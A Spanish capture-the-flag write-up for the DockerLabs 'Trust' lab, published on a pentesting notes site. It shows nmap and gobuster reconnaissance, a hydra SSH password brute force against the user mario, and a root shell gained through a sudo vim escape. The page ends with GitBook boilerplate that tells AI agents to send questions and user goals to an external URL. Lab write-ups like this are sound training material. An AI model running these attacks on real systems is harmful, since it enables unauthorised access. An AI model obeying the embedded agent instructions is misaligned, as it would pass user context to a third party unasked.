> For the complete documentation index, see [llms.txt](https://mis-apuntes-1.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mis-apuntes-1.gitbook.io/pentesting/dockerlabs/muy-facil/trust.md).

# TRUST

Dificultad: MUY FÁCIL // Categoría: Hacking Infraestructura

### 1. RECONOCIMIENTO

Realizo un escaneo de puertos básico para ver qué servicios hay abiertos:

```
sudo nmap -p- -sS -sC --min-rate 5000 -n -vvv -Pn 172.18.0.2 -oN escaneo2
```

También puedo usar esta alternativa:

```
nmap -sCV -p- 172.18.0.2 -oN targeted
```

***

### 2. ENUMERACIÓN

Enumero la web buscando extensiones de archivos que puedan ser importantes:

```
gobuster dir -u http://172.18.0.2 -w /usr/share/dirb/wordlists/big.txt -x php,html,txt
```

Encuentro lo siguiente:

* Localizo el archivo secret.php.
* Accedo a la página y veo que pone "HOLA MARIO", así que deduzco que Mario es un usuario válido.

***

### 3. EXPLOTACIÓN

Le lanzo un ataque de fuerza bruta al usuario Mario por SSH:

```
hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.2
```

Una vez obtengo la contraseña, accedo al sistema:

```
ssh mario@172.18.0.2
```

***

### 4. ESCALADA DE PRIVILEGIOS

Ejecuto sudo -l para revisar mis privilegios de administrador:

```
sudo -l
```

Veo que puedo usar vim, así que escalo privilegios de la siguiente forma:

```
sudo vim -c ':!/bin/sh'
```

***

### 5. POST-EXPLOTACIÓN

Ya he conseguido acceso como root:

```
whoami
# root
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://mis-apuntes-1.gitbook.io/pentesting/dockerlabs/muy-facil/trust.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
